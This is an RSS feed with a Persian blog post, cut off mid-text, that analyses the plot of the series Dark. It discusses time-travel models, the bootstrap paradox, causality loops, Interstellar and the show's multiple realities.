<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
    <channel>
        <title>نوشته های YShahinzadeh</title>
        <link>https://virgool.io/feed/@YShahinzadeh</link>
        <description>یاشار شاهین‌زاده - وقت کنم فارسی می‌نویسم.</description>
        <language>fa</language>
        <pubDate>2026-06-10 22:05:42</pubDate>
        <image>
            <url>https://files.virgool.io/upload/users/9091/avatar/hCgCI4.png?height=120&amp;width=120</url>
            <title>YShahinzadeh</title>
            <link>https://virgool.io/@YShahinzadeh</link>
        </image>

                    <item>
                <title>نقد و بررسی سریال دارک - داستان سریال دارک</title>
                <link>https://virgool.io/@YShahinzadeh/%D8%AA%D9%81%D9%82%D8%AF%DB%8C-%D8%AF%D8%B1-%D8%B3%D8%B1%DB%8C%D8%A7%D9%84-%D8%AF%D8%A7%D8%B1%DA%A9-%D9%86%D9%82%D8%AF-%D8%B3%D8%B1%DB%8C%D8%A7%D9%84-%D8%AF%D8%A7%D8%B1%DA%A9-feoan4z9u9ji</link>
                <description>پیش از هر چیز بگم این نوشته داستان دارک رو لو میده، پس اگه سریال رو کامل ندیدین، پیشنهاد می‌کنم اول کامل ببینید و تمومش کنید و بعد این پست رو بخونید.چند وقتی بود دوست داشتم راجع به سریال دارک مطلبی بنویسم، این سریال بسیار خوش‌ساخت هست و چند تا از نظریه‌های فیزیک رو در غالب یک داستان به مخاطب نشون میده و ذهن ادم رو به چالش می‌کشه. دلیل اینکه وقت گذاشتم و این پست رو نوشتم این بود که هر وقت با برخی از دوستان راجع به سریال صحبت می‌کردم، نکات جدیدی پدیدار می‌شد، پس تصمیم گرفتم تمامی نکاتی که فهمیدم رو یکجا مکتوب کنم که هم بقیه استفاده کنن، هم بشه به‌روزرسانیش کرد.پیش از اینکه وارد بحث بشیم، این رو بگم که این سریال ژانر «علمی - تخیلی» داره، یعنی خیلی از وقایع بر پایه نظریه فیزیکی هست، اما پیشبینی و تخیل نویسنده همواره همراه داستان هست.سفر در زمان کلاسیکدر فیلم‌های قبل از Interstellar میدیدم که مسافران زمان سعی در تغییر گذشته دارن. به نظر من فیلم Interstellar یک انقلاب در نشان دادن وقایع فیزیکی در قالب یک داستان برای مخاطب بود. برای مثال فیلم معروف Back to the Future که با تغییر گذشته همراه هست. از فیلم‌های دیگه میشه به لیست زیر اشاره کرد: PredestinationEdge of TomorrowMen in Black 3Source CodeTerminatorاما آیا فیزیک نوین سفر در زمان و تغییر گذشته رو قبول میکنه؟ جواب خیر است. اولین چیزی که سفر در زمان بوجود میاد، ایجاد یک تایم‌لاین جدید هست. مسافر زمان نمی‌تونه توی تایم‌لاین قبلی باشه. فکر کنین من توی سن ۳۰ سالگی، با ماشین زمان به سن ۲۰ سالگی سفر کنم، اینجا هر تغییری باعث میشه دنیایی که من توی ۳۰ سالگی تجربه کردم عوض بشه (در واقع همین که من سفر کردم، دنیا عوض شده)، پس من توی تایم‌لاین جدیدی هستم (یا به عبارت دیگه توی دنیای موازی جدیدی) که میتونم توش تغییر ایجاد کنم.توی تئوری بالا، من توی ۳۰ سالگی می‌فهمم بیت‌کوین یه جهش بزرگ داشته، کافیه برگردم عقب و کل زندگیم رو بیت‌کوین کنم، خب مسلما توی زندگی فعلیم این کار رو نکردم پس بعد از اینکه من بیتکوین می‌خرم، دیگه ادم سابق نیستم و یه مسیر زمانی و دنیای جدید دارم، حتی ممکنه توی این خط زمانی زودتر بمیرم. یا ممکنه من برگردم خودم رو توی ۱۰ سالگی ببینم، در صوتی که خود من وقتی ۱۰ سالم بوده، تجربه رویارویی با آینده ۳۰ ساله خودم رو نداشتم (پرواضح است که باید تایم‌لاین جدید شکل بگیره). اما اشکالاتی که تو این نوع سفر در زمان وجود داره: من با سفر در زمان برگردم عقب پدرم رو بکشممن با سفر در زمان برگردم عقب خودم رو بکشممن با سفر در زمان به جلو برم، کدوم مسیر زمانی ظاهر میشه؟استیون هاوکینگ با طرح یک آزمایش نشون داد که سفر در زمان رو به عقب (احتمالا) غیر ممکن است. همچنین با توجه به توانایی توی شکستن رابط علت و معلولی و ایجاد یک پارادوکس،‌ این نوع سفر در زمان تقریبا جز گزینه‌های آخر فیزیک‌دان‌ها و سینمای فعلی هست.سفر در زمان مدرندر نوع مدرن که به نظر خود من به واقعیت دنیای ما نزدیک‌تر هست، سفر در زمان باعث ایجاد تغییر جدید توی گذشته نمیشه. منشا این ایده نظریه کوانتومی هست که واقعیت‌ها و حالت‌های مختلف یک ذره همزمان وجود دارن، با اندازه‌گیری ما یکی از حالات اتفاق می‌افته (این موضوع توی فصل ۳ دارک نشون داده میشه، توی همین پست مفصل راجع بش توضیح میدم). حالا توی فلسفه کوانتومی می‌تونیم این موضوع رو به انسان بسط بدیم، چرا؟ چون انسان و دنیای اطراف ما هم چیزی جز تعداد بیشماره از ذرات نیستن. فکر کنید چند واقعیت برای من وجود داشته باشه: من عاشق یه دختری میشم -&gt; ازدواج می‌کنیم -&gt; بچه میاریم -&gt; بچه از بیماری میمیره من عاشق یه دختری میشم -&gt; ازدواج می‌کنیم -&gt; بچه میاریم -&gt; بچه سالم میمونه و مرگ من رو میبینه من عاشق یه دختری میشم -&gt; ازدواج می‌کنیم -&gt; بچه نمیاریم من عاشق یه دختری میشم -&gt; ازدواج نمی‌کنیم -&gt; من مجرد می‌مونم من عاشق یه دختری میشم -&gt; ازدواج نمی‌کنیم -&gt; با کس دیگه ازدواج می‌کنم...توی دنیای کوانتومی، تمام حالات بالا وجود داره، اما یکیش به واقعیت میرسه. پس آینده وجود داره و فراتر از اون، روی گذشته تاثیر میگذاره. توی حالت اول، آینده پدر من از شدت ناراحتی، ممکنه روی شخصیت فعلی من تاثیر بذاره و باعث شه من به حالت ۳ برم. اما چطوری تاثیر بذاره؟ خب مسلما معلوم نیست، شاید با یه خواب، شاید با حس ششمی که نمی‌دونیم منشا اون چیه، شاید با یه حس عجیبی که دلیلش رو نمیدونیم.با توجه به اینکه دنیایی کنونی، دنیایی کوانتومی هست (LCDهای توی خونه شما، بر اساس تونل‌زنی کوانتومی کار می‌کنن، توی تونل‌زنی، ‌‌الکترون غیب میشه و در مکانی دیگه ظاهر میشه، این مثال رو زدم که متوجه بشین این فیلم تخیلی نیست، دنیایی ما هست) و قوانین کوانتونی خیلی از پدیده‌ها رو توصیف می‌کنن، پس فیزیکدان‌ها هم تمایل بیشتری به قبول فسلفه کوانتونی دارن و میبینیم که سینما هم داره به همین سمت میره. این خیلی مهمه که دلیل این نوع سفر در زمانی که توی سریال دارک و یا فیلم Interstellar نشون میده رو بدونیم، بعدی به نقد فیلم بپردازیم.پیشنهاد می‌کنم برای درک بهتر مطلب بالا، فیلم بسیار زیبای Mr.Nobody رو ببینید:خب برگردیم سر مطلب، پس گفتیم چندین (در واقع بینهایت) واقعیت وجود داره که یکیش به وقوع می‌پیونده (فلسفه این قسمت هم اینه که حالات دیگه هم توی دنیاهای موازی به واقعیت می‌پیوندن). فیلم Interstellar یکی از این واقعیت‌ها رو نشون میده. در واقع کل واقعیت اتفاق افتاده، فیلم در یک روایط خطی، کلش رو به مخاطب خودش نشون میده (در صورتی که دارک توی روایت غیر خطی این موضوع رو نشون میده، این کار رو با پرش از شخیصت‌های مختلف در زمان‌های مختلف انجام میده)چطور ممکنه توی این فضایی که ترسیم کردیم، سفر در زمان وجود داشته باشه؟ اینجاست که باید بگیم اگه قراره توی ۱۰ سال آینده من در زمان سفر کنم و به عقب برگردم، آینده من وجود داره و این کار رو می‌کنه و روی الان من تاثیر میذاره. یعنی سفر در زمان هم جزئی از واقعیت‌های موجود هست و نمیتونه گذشته رو تغییر بده، بلکه آینده و گذشته همدیگه رو در آن واحد میسازن (دقیقا مثل مثال مردن بچه من، که آینده پدرم روی من تاثیر میذاره و از مرگ جلوگیری می‌کنه، فقط سفر در زمان، به‌صورت فیزیکی انجام میشه نه با حس ششم و یا خواب). من برای اینکه پیچیده نشه، دو تا واقعیت رو ترسیم می‌کنم، میشه این حالت رو برای بینهایت واقعیت بسط داد: واقعیت اول) آینده ۵۰ ساله من، ماشین سفر در زمان داره و میدونه چه سهمی توی بورس بیشتیرن سود رو میکنه، ماشین زمان رو برمیداره بیاد به من بگه،‌ دوستاش همه بش میگن این کار رو نکن، خطرناکه، اما در نهایت تصمیم میگیره بیاد. من فردا صبح که پا میشم ، ۵۰ سالگیم از در میاد تو و کل اطلاعات بورس رو بم میده، این باعث میشه من سهام رو بخرم و به یه فرد بسیار پولدار تبدیل بشم.    واقعیت دوم) آینده ۵۰ ساله من، ماشین سفر در زمان داره و میدونه چه سهمی توی بورس بیشتیرن سود رو میکنه، ماشین زمان رو برمیداره بیاد به من بگه،‌ دوستاش همه بش میگن این کار رو نکن، خطرناکه، در نهایت تصمیم میگیره که نیاد. من فردا پامیشم، به زندگی معمولیم ادامه میدم.این دو واقعیت یکیش برای من اتفاق می‌افته، یا من آدم پولداری هستم، یا نیستم، یا آینده من فقیره، یا بسیار پولداره، هیچ‌وقت آینده فقیر من با ماشین زمان سفر نمی‌کنه، چون اگه میکرد که فقیر نبود. آینده پولدار من هم تصمیمش به سفر هست، منصرف نمیشه چون پولدار هست و باید به من اطلاعات رو بده. پس یک Image وجود داره، و مثل فیلم پخش میشه.اختیار انسانمن توی این بحث ورود نمی‌کنم، چون به‌خودی خود یه بسیار طولانی میشه. فقط چند تا نتیجه‌گیری رو اینجا میگم. در حالتی که ما معتقد باشیم خدا وجود داره، باید بپذیریم که کل زندگی ما برای خدا یک Image هست و اون Image غیر قابل تغییره، چون اصلا تغییر برای خدا معنی نداره (تغییر اصلا در زمان رخ میده، که برای خدا زمان وجود خارجی نداره). پس یک واقعیت وجود داره. این شاید در نگاه اول با اختیار انسان در تناقض باشه، اما این امر فقط نشون میده ما در لحظه تصمیم نمی‌گیریم، تصمیم‌های زندگیمون رو گرفتیم و داریم کلش رو تجربه می‌کنیم (صد البته که توهم این رو داریم که در لحظه تصمیم می‌گیریم). از اون طرف بنظر من در حالتی که معتقد باشیم خدایی وجود نداره، باید جبر مطلق رو بپذیریم، چرا که هر انسان تابعی هست که با داشتن ورودی‌های اون میشه تصمیمش رو پیشبینی کرد، و حتی اگه هیچ وقت نشه این ورودی‌ها رو اندازه گرفت، اما اینکه تصمیمی با اختیار اخذ نمیشه رو نمیشه انکار کرد. این که دنیای ما بر پایه جبر هست یا اختیار، هیچ‌وقت توی این دنیا قابل اثبات نیست و کسی می‌تونه این رو بفهمه که یک بعد بالاتر وجود داره، راجع به دلیل گول‌زننده من اختیار دارم چون الان می‌تونم ادامه این پست رو نخونم و خودم رو از پنجره پرت کنم پایین هم بهتره توضیحی ندم (بیشتر از این دادمه نمیدم، اگه عمر وحوصله‌ای بود توی پست بعد).سفر در زمان در فیلم Interstellarسفر در زمان در فیلم Interstellar از نوع مدرن هست. توی فیلم فقط یکبار سفر در زمان اتفاق میافته (در واقع دو بار، اما یکیش رو نشون میده). دختر کوچولو (مورف) میبینه که مختصات ناسا به‌صورت کد مورس نمایان میشه، یاداشت می‌کنه و مختصات رو به کوپر (پدرش) میده. چه کسی مختصات رو به مورف داد؟ آینده کوپر با سفر در زمان (کوپر پیرتر). بعدتر میبینیم که کوپر توی سیاه‌چاله میافته، سریع میره مختصات رو با مورس کد به مورف میده.دو سوال اینجا مطرح میشه:آیا کوپر می‌تونه توی سیاه‌چاله مختصات رو به مورف نده؟جواب سوال اول دقیقا مثل یاشار پولدار و فقیر هست. اگه کوپر اطلاعات رو به گذشته خودش نداده بود، هیچ‌وقت ناسا رو پیدا نمی‌کرد و توی مزرعه می‌موند (واقعیت اول). اما توی فیلم، نشون میده تصمیم می‌گیره مختصات رو ارسال کنه (واقعیت دوم). گفتیم یکیش وجود داره، زندگی کوپر میلیون‌ها image هست که فقط یکیش به واقعیت می‌پیونده.چه کسی مختصات ناسا رو کشف کرده؟ (منشا چیست؟)جواب سریع این سوال میشه هیچ‌کس، مختصات ناسا کاشفی نداره، فقط کوپر و دخترش اون رو می‌دونن. اطلاعات توی حلقه زمانی می‌تونن بدون منشا باشن. جلوتر توضیح مفصل می‌دم (اینم چیزیه که توی دارک، ساعت‌ساز توی فصل دوم، قسمت سوم بهش اشاره می‌کنه).البته توی لینک زیر تحلیل دیگه‌ای از این فیلم رو می‌بینیم که به نظر من کامل غلط هست (۱۰۰٪)، اما ارزش یکبار خوندن رو داره:https://www.ovienmhada.com/2014/11/19/making-sense-of-interstellars-plot/سفر در زمان در سریال دارکسفر در زمان در سریال دارک از نوع مدرن هست. کل ۳ فصل سریال (منهای نیم ساعت آخر) بر پایه این اصل جلو میره. تمام وقایع اتفاق افتادن. همه چیز یک فیلم از قبل ضبط شده است. سفر در زمان  سریال دارک، حالت پیچیده‌تر شده سفر در زمان فیلم Interstellar هست. در واقع سفرهای بسیار زیادی رخ میده، و از عبارت «دوباره و دوباره اتفاق می‌افته» خیلی استفاده میشه. خیلی از سفرها باعث بوجود اومدن یک حلقه میشن، خیلی از سفرها هم باعث بوجود آومدن حلقه‌ای نمیشه.برای مثال وقتی یوناس پیر، یوناس جوون رو توی پارک ملاقات می‌کنه، بعدش جعبه‌ای که حاوی چراغ‌قوه نقشه راهنمای کشف سفر در زمان هست رو توی یه جعبه پستی می‌فرسته برای یوناس جوون. اینطوری یوناس جوون یاد میگیره توی زمان سفر کنه، وقتی پیرتر میشه، این ملاقات رو با نسخه جوون‌ترش می‌کنه و دقیقا همین‌کار رو می‌کنه. یوناس این صحنه رو یکبار وقتی جوونه می‌بینه (سمت راستی)، یکبار هم وقتی پیرتر هست میبینه (سمت چپی)، این یک حلقه زمانی هست که ابتدایی نداره، یعنی نمیشه گفت یوناس جوون اول بوده یا پیر، بلکه همزمان با هم هستن. سوال، چه کسی اطلاعات چگونگی سفر در زمان با غار رو کشف کرده؟بوت‌استرپ پارادوکس (Bootstrap Paradox)توی این پارادوکس که در سفر زمانی اتفاق می‌افته، اطلاعات می‌تونن بوجود بیان. چند وقت پیش توئیتی در این رابطه زدم که پیشنهاد می‌کنم خودش و منشن‌ها رو بخونید. بیاین فرض کنید:انیشتین سال ۱۹۱۵ نظریه نسبیت رو ارائه داده. الان همه دنیا هم این نظریه رو میدونن. فرض کنید واقعیت کشف فرمول معروف اینطوری باشه: سال ۲۹۸۵ ماشین زمان کشف میشه، یکی برمیگرده فرمول e=mc2 رو با تمام جزئیات به انیشتین میده.نکته اینجاست که فرمول منشایی نداره و فقط وجود داره. حالا همین سناریو رو در نظر بگیرید با کمی تغییر:انیشتین سال ۱۹۱۵ نظریه نسبیت رو ارائه داده. الان همه دنیا هم این نظریه رو میدونن. فرض کنید واقعیت کشف فرمول معروف اینطوری باشه: سال ۲۹۸۵ ماشین زمان کشف میشه، یکی برمیگرده فرمول e=mc2 رو با تمام جزئیات همراهش داره اما به انیشتین نمیده.توی سناریو بالا، پارادوکسی اتفاق نمی‌افته مشکلی وجود نداره، پس حلقه زمانی بوجود نمیاد. حالا بیاین همین فرض رو راجع به یک جسم بکنیم:امروز آینده من از در میاد تو و یک قاشق به من میده، من این قاشق رو نگه می‌دارم و ۱۰ سال بعد با ماشین زمان سفر می‌کنم و به خودم می‌دم قاشق رو. ریخته‌گر قاشق کیه؟دقیقا مثل اطلاعات، قاشق ریخته‌گری نداره و وجود داره. اما باید بگم که چنین حالتی نمی‌تونه اتفاق بیفته. چرا؟ چون قاشقی که من پیش خودم نگه می‌دارم و قراره ده سال بعد به جوونی خودم بدم، دیگه همون قاشق ۱۰ سال قبل که از آیندم گرفتم نیست. اجسام مستهلک میشن. پس یک جسم نمی‌تونه توی یک حلقه زمانی قرار بگیره. پیشنهاد می‌کنم کلیپ زیر رو توی یوتوب تماشا کنید:https://www.youtube.com/watch?v=Pp5VjZ3uhMcتا اونجایی که من اجسام رو توی سریال دنبال کردم، هیچ کدوم توی یه حلقه زمانی قرار نمی‌گیرن و احساس می‌کنم کارگردان حواسش به این موضوع بوده.علت و معلول در سریال دارکتوی سریال دارک، مثل فیلم Interstellar، رابطه علت و معلولی کامل پابرجاست. فقط کافیه زمان رو از کل معادلات حذف کنیم. اگه زمان رو در نظر نگیریم، روابط فیلم خیلی برامون ساده‌تر میشه. برای مثال، من آینده من فردا کی رو می‌فرسته، طرف من رو میبینه و میگه فردا بیرون نرو، من نمیرم و نمی‌میرم. دوباره دو تا سوال پیش میاد: من توی پیریم می‌تونم اون نفر رو نفرستم که گذشتم رو نجات بده؟ خیر (همون داستان یاشار فقیر و پولدار)آینده من که نمرده، از کجا می‌دونه من قراره بمیرم با ماشین؟ پارادوکس bootstrap، داده بوجود میادعلت و معلول بدون سفر در زمان:فرض کنید که واقعه ۱ ملاقات پدر و مادر من بوده، و باعث شده من بوجود بیام. بعدا من تبدیل شدم به یاشار پیرتر و مردم:حالا اگه سفر در زمان مدرن وجود داشته باشه (چیزی که توی سریال دارک بود)، یاشار بزرگتر می‌تونه توی زمان سفر کنه، باعث بشه پدر و مادر من همدیگه رو ببینن، و بعد من بوجود بیام:توی دو خط زمانی بالا، علت و معلول وجود دارن (گفتیم که همه چیز یه image هست)،‌ فقط علت در آینده اتفاق می‌افته.منطق اتفاقات در سریال دارکبر اساس آنچه تا اینجا گفته شد، چند نتیجه مهم استخراج میشه که کل منطق سریال بر پایه اون‌ها سوار شده (به غیر از پایان سریال، که اون رو جدا بررسی می‌کنیم):سفر در زمان باعث تغییر واقعیت نمیشه. چون تغییر برای یک image وجود نداره.رابطه علت و معلولی با حذف زمان پابرجاست، پس علت یک واقعه می‌تونه در آینده باشه.یک حلقه زمانی شمارنده نداره، نمی‌شه گفت که این حلقه اولین بار کی اتفاق افتاده، نمیشه گفت بار چندم هست اتفاق می‌افته.شخصیت‌ها، حلقه‌های زمانی رو دو بار تجربه می‌کنن. یک‌بار در جوانی و یک بار در پیری (نه بیشتر).اطالاعات توی حلقه‌های زمانی بوجود میاد (پارادوکس Bootstrap) ولی شئی نه (توی سریال، هیچ شئی در حلقه زمانی گیر نمی‌افته)همه سفرهای زمانی منجر به بوجود اومدن حلقه زمانی نمیشنسریال بر اساس منطق و قوانین بالا، سکانس‌های بسیاری با حالت‌های مختلف ارائه می‌کنه (اوجش توی فصل ۲ هست) که بیننده منطق موجود در دنیای دارک رو درک کنه و سریال رو بهتر بفهمه. برای مثال من چند تا از این سکانس‌ها رو میگم:۱. یوناس برای اولین بار با تونل به سال ۱۹۸۶ برمی‌گرده (اولین بار سفر در زمان رو توی زندگی خودش تجربه می‌کنه) که مایکل رو به زمان خودش برگردونه، اما نسخه پیرتر خودش از این کار جلوگیری می‌کنه و به یوناس هشدار میده که بذاره مایکل زندگیش رو ادامه بده. (فصل ۱، قسمت ۷).- آینده یوناس علت منصرف شدن یوناس در زمان حالش میشه (علت و معلول)- یوناس این حلقه زمانی رو دوبار تجربه می‌کنه، یک بار در جوانی، یک بار وقتی پیرتر شد (باید تجربه کنه، چون اگه نکنه تغییر بوجود میاد، از حلقه خارج می‌شیم که مغایر منطق سریال هست)۲. یوناسی که به ۱۹۸۶ سفر کرده، توسط نواح و هلگا دزدیده میشه. دستور دزدیدن رو آدم (که آینده یوناس هست) داده بوده (این مورد رو نشون نمیده اما توی فصل ۲ نشون میده که نواح کاملا دستورات آدم رو اجرا می‌کنه). پس خیلی آینده یوناس (آدم) علت دزدیده شدنش در حالش بوده (فصل ۱،‌ قسمت ۷).- یوناس این لحظه رو تجربه می‌کنه. وقتی هم که پیرتر میشه و به آدم تبدیل میشه، خودش به نواح دستور میده که بره جوونیش رو بدزده، این کار رو می‌کنه چون این یک image هست. میتونه به نواح دستور نده؟ خیر، چون اگه نواح رو نفرستاده بود، توی جوونیش تجربش نمی‌کرد (رجوع بشه به یاشار فقیر و پولدار).۳. آدم یوناس رو می‌فرسته به ۲۰۲۰ که مایکل رو قبل از خودکشی نجات بده. در صورتی که آدم می‌دونسته یوناس باعث مرگ مایکل میشه،‌ چرا؟ چون خودش وقتی جوون‌‌تر بوده (یعنی یوناس بوده) این لحظه رو تجربه کرده، وقتی یوناس میره پیش مایکل، اصلا مایکل قصد نداشت خودش رو بکشه، ولی بعد از مکالمه با یوناس، این کار رو می‌کنه. پس آینده یوناس (آدم) علت مرگ بابای خودش در حال خودش میشه. (فصل ۲، قسمت ۶).- یوناس این لحظه رو یک بار توی جوونی تجربه می‌کنه، یک بار هم وقتی پیرتر هست (آدم) جوونیش رو می‌فرسته که علت قتل پدرش بشه.۴. یوناس توی ۲۰۲۰ شبی که میکل، یوناس (کمی جوون‌ترش)، مارتا و مگنس رفتن توی جنگل،‌ میره و مایکل رو با خودش به غار می‌بره و باعث میشه مایکل در زمان سفر کنه. پس یوناس پیرتر (آینده‌تر) علت سفر در زمان مایکل در زمان حال خودش میشه (فصل ۲، قسمت ۶).۵. یوناس جوون توی ۲۲ ژوئن ۲۰۵۳، با پورتال زمانی به عقب برمی‌گرده. این پورتال رو آینده خودش با کمک کلادیا و نوح با پایداکر کردن ذره خدا می‌سازن (فصل ۳،‌ قسمت ۷)۶. توی واقعیت دوم (چی؟ جلوتر توضیح میدم)، وقتی یوناس جوون به دنیای دوم میاد، ایو ازش می‌خواد که بره به مارتای جوون راه سفر در زمان رو یاد بده. در واقع یوناس، هم راه سفر در زمان رو یاد می‌ده، هم با مارتا هم‌بستر میشه و اون رو حامله می‌کنه. پس علت یادگیری سفر در زمان و بچه مارتا، آینده خودش هست (فصل ۳، قسمت ۵).۷. خواهر یوناس که توسط آدم از گذشته به آینده فرستاده شده،‌ توی ۲۲ ژوئن ۲۰۵۳، یوناس رو از زندان نجات میده (فصل ۲، قسمت ۲). توی سال ۱۹۱۱ آدم قبل اینکه هانا رو بکشه، می‌گه: «جای شما اینجا نیست». هانا رو می‌کشه، خواهر ناتنیش رو برمی‌داره و اتاق رو ترک می‌کنه، در واقع اون رو به آینده می‌فرسته (فصل ۳، قسمت ۷).وجود چند واقعیت در سریال دارک (گربه شرودینگر)یکی از قشنگ‌ترین لحضات سریال، قسمت مربوط به چند واقعیتی بود. سه واقعیت مجزا توی این سریال وجود داشت. دو واقعیت رو به‌صورت فلش‌بک نشون میده، یکی از واقعیت‌ها رو به‌صورت زمان حال (از دید یوناس). این قسمت به تمرکز نیاز داره، من سعی می‌کنم با جزئیات توضیح بدم.برای اولین بار در سینما، گربه شرودینگر به نمایش گذاشته میشه. شرودینگر یکی از ینیان‌گذارهای اصلی مکانیک کوانتوم هست. کسی که معادله موج رو برای ذرات ارائه داد. از این معادله میشه احتمال حضور ذره با توجه به شرایط مرزی رو در حالت کوانتومی توصیح می‌کنه. از دستاوردهای این معادله میشه به اوربیتال‌ها در شیمی که توی دبیرستان خوندیم اشاره کرد.ذرات کوانتومی (ذرات ریز، خاصیت‌های کوانتومی پیدا می‌کنن، برای مثلا یک الکترون از مکانیک کلاسیک نیوتنی تبعیت نمی‌کنه) حالت‌های مختلفی می‌تونن داشته باشن. یک حالت کوانتومی، با اندازه‌گیری مشخص می‌شود. اما قبل از اندازه‌گیری، در چه حالتی وجود دارد؟ کوانتوم میگه در همه حالات، وقتی اندازه‌گیری انجام بشه، به یکی تبدیل میشه (اگه پیش خودتون میگین در واقعیت که در یک حالت هست، فقط وقتی اندازه‌گیری نکردیم نمی‌دونیم در چه حالتی هست، باید بگم شما در تفکرات سال ۱۹۲۰ به قبل هستید، واقعا واقعیتی بدون ناظر وجود نداره، حداقل برای یک ذره).حالا بریم به سریال، در فصل ۳، قسمت ۷، تئوری بالا رو توضیح میده، ماجرای گربه رو شرح میده (گربه توسط شرودینگر برای ساده‌سازی مثال زده شد). شرودینگر میگه، مادامی که ناظر بیرونی، در جعبه رو باز نکنه، گربه هم مردس هم زنده. توی سریال تو فصل ۳، قسمت ۷، میگه این برای ذرات میکروسکوپی هست، حال چی میشه برای ماکروسکوپی هم همین داستان صادق باشه؟ البته یک تشبیه رو اینجا میاد در نظر میگیره، آدم‌هایی که در لحظه آپوکالیپس هستن رو گربه در نظر می‌گیره، اون مکانی که چند لحظه توی اون آپوکالیپس اتفاق می‌افته رو جعبه در نظر میگیره. اینطوری نشون میده که دو تا واقعیت با هم می‌تونن وجود داشته باشن.بریم به لحظه آپوکالیپس، آدم میاد و مارتای دنیای اول رو در حضور یوناس می‌کشه. قبل اینکه ماشه رو بچکونه، یوناس میگه چرا میخوای این کار رو کنی؟ ادم میگه: «برای اینکه ماده تاریک بوجود بیاد، تا من بتونم اون رو به سمت یک هدف جدید هدایت کنم». ‌‌ذره خدا (یا همون ماده تاریک) بعد از آپوکالیپس بوجود میاد و باعث میشه پورتال زمانی توسط یوناس، نوح و کلادیا ساخته بشه. آدم یک جمله دیگه به یوناس میگه: «من شروع کننده چیزی هستم که تورو تبدیل کنم به خودم» و تیر رو می‌زنه. این یکی از رنج‌هایی هست که یوناس رو بعدا تبدیل به آدم می‌کنه.از ایجا به بعد، ۳ تا واقعیت بوجود میاد (یک واقعیت که همواره وجود داره، دو واقعیت دیگه در کنار اون بوجود میان) - دقت کنین که این ۳ واقعیت هم‌زمان با هم وجود دارن و تاثیرشون رو دنیا هم وجود داره. قبل از اینکه وارد بحث واقعیت‌ها بشیم، بهتره یک سناریو خیالی رو در نظر بگیریم که زبان مشترکی از تعریف واقعیت داشته باشیم:من الان توی این دنیا دارم زندگی می‌کنم و ۳۲ سالم هست. یه دستگاهی پیدا می‌کنم که می‌تونم باش سفر در زمان انجام بدم. یه دستگاه دیگه پیدا می‌کنم که می‌تونم باش به دنیایی موازی دیگه‌ای برم. فکر کنید میرم به دنیای موازی دیگه، اونجا توی زمین خودم رو می‌بینیم که مثلا شاعر هستم. زمان اونجا اصلا عقب‌تر هست و یاشارِ اونجا ۱۵ سال جوون‌تر من هست. من به دنیای خودم برمی‌گردم و به زندگیم ادامه میدم.در کل داستا بالا، یک واقعیت وجود دارد. واقعیتی که من دارم اون رو لمس می‌کنم. حال مثال زیر رو در نظر بگیرید:من الان توی این دنیا دارم زندگی می‌کنم و ۳۲ سالم هست. یه دستگاهی پیدا می‌کنم که می‌تونم باش سفر در زمان انجام بدم. یه دستگاه دیگه پیدا می‌کنم که می‌تونم باش به دنیایی موازی دیگه‌ای برم. فکر کنید میرم به دنیای موازی دیگه، اونجا توی زمین خودم رو می‌بینیم که مثلا شاعر هستم. زمان اونجا اصلا عقب‌تر هست و یاشارِ اونجا ۱۵ سال جوون‌تر من هست. من به دنیای خودم برمی‌گردم و به زندگیم ادامه میدم. اما قبل از برگشت، یک اتفاق خاص میفته، یک واقعیت دیگه هم ایجاد میشه. توی واقعیت اول که مثل مثال قبلی زندگی می‌کنم، توی واقعیت دوم، ۱۰ سال توی اون دنیا زندگی می‌کنم، بچه‌دار میشم و خودکشی می‌کنم.توی مثال بالا، دو واقعیت به‌صورت همزمان وجود داره. یکی از واقعیت‌ها که خودم هستم، توی یکی دیگه خودکوشی می‌کنم اما بچه من به زندگی ادامه میده. در دو تا مثال هم که یاشارِ دنیای موازی زندگی خودش رو انجام میده.پس تعریف ما از واقعیت، هیچ تداخلی با سفر در زمان و یا سفر در مکان (دنیای موازی) نداره. واقعیت‌ها به‌صورت همزمان وجود دارن و تاثیرشون رو روی بقیه می‌گذارند. این دقیقا چیزیه که توی سریال نشون میده. ۳ تا واقعیت توی فصل ۳ نمایش داده میشه که بش می‌پردازیم. قضیه از جایی شروع میشه که آدم، مارتای دنیای دوم رو به لحظه آپوکالیپس می‌فرسته که یوناس رو نجات بده. از این قسمت به بعد ۳ واقعیت داریم:واقعیت اول) مارتای واقعیت اول، یوناس رو نجات نمیده. چرا؟ آینده مارتای واقعیت اول که همون ایو هست، به بارتوش دنیای دوم میگه که با مارتای جوون (واقعیت اول) صحبت کن و ازش بخواه یوناس رو نجات نده، بارتوش میره و به مارتا پیغام رو میده و مارتا به کمک یوناس نمیره. یوناس فرار می‌کنه توی زیر زمین. نجات پیدا می‌کنه، توی زمان بعد آپوکالیپس گیر می‌افته، بلاخره پورتال زمانی توسط یوناس، نوح و کلادیا در سال ۲۰۵۲ ساخته میشه (فصل ۳، قسمت ۷) و توسط پورتال به عقب برمی‌گرده. بعد کلی اتفاقات، وقتی توی سال ۱۸۸۸ مارتای واقعیت دوم رو می‌بینه، بش میگه «تو دروغ میگی، تو هیچ وقت لحظه آپوکالیپس من رو نجات ندادی» چون توی واقعیت اول، مارتا یوناس رو نجات نمی‌ده. این یوناس (واقعیت اول) رفته رفته تبدیل به آدم میشه و به مارتای دنیای دوم میگه که یوناس رو توی آپوکالیپس نجات بده (لوپ). مارتای واقعیت اول، بعد از اینکه یوناس واقعیت دوم رو می‌کشه، رفته رفته به ایو یا همون حوا تبدیل میشه.واقعیت دوم) مارتای واقعیت دوم یوناس واقعیت دوم رو نجات میده و با خودش می‌برتش توی دنیای دوم. توی دنیای دوم، یوناس (واقعیت دوم) می‌ره تو سال ۲۰۵۳ با ایو (پیری مارتای واقعیت اول) ملاقات می‌کنه و برمی‌گرده پیش مارتای دنیای دوم که هنوز هیچی راجع به سفر در زمان نمی‌دونه و در نهایت با هم برمیگردن به مقر ایو و مارتای واقعیت اول با تفنگ یوناس رو می‌کشه. مارتای واقعیت دوم بعد از نحات یوناس برمیگرده پیش یوناس واقعیت اول (پیرتر) که توی سال ۱۸۸۸ گیر افتاده. اونجا چون یوناس (واقعیت اول) هیچ‌وقت تجربه این رو نداشته که مارتا نجاتش بده به مارتای واقعیت دوم میگه تو داری دروغ میگی. مارتای واقعیت دوم، ماده تاریک رو به یوناس واقعیت اول میده و برمی‌گرده پیش آدم توی سال ۲۰۵۳. اینجا آدم مارتای واقعیت دوم رو زندانی می‌کنه و در نهایت می‌کشه.واقعیت سوم) توی این واقعیت، خود آدم به لحظه آپوکالیپس میره و یوناس رو نجات میده. یوناس و مارتایی که نجات پیدا می‌کنن مسلما نباید 